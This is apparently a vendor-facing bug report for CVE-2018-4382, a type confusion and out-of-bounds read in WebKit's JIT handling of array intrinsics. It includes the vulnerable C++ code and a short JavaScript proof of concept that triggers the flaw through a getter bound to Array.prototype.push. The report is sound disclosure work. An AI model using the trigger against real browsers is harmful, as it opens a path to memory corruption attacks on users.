                WebKit: JIT: Type confusion bugs in ByteCodeParser::handleIntrinsicCall 

CVE-2018-4382


    case ArrayPushIntrinsic: {
        ...

        if (static_cast<unsigned>(argumentCountIncludingThis) >= MIN_SPARSE_ARRAY_INDEX)
            return false;

        ArrayMode arrayMode = getArrayMode(m_currentInstruction[OPCODE_LENGTH(op_call) - 2].u.arrayProfile, Array::Write);
        
        ...
    }

This code always assumes that the current instruction is an op_call instruction. But that code can be reached from op_get_by_id or op_get_by_val instructions using getters. As an op_get_by_val instruction is smaller than an op_call instruction in size, this also can lead to an OOB read.

Note that the handlers for ArraySliceIntrinsic, ArrayIndexOfIntrinsic and ArrayPopIntrinsic have the same pattern.

PoC:
Array.prototype.__defineGetter__('a', Array.prototype.push);

function opt() {
    let arr = new Array(1, 2, 3, 4);
    arr['a' + ''];
}

for (let i = 0; i < 1000; i++) {
    opt();
}

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.
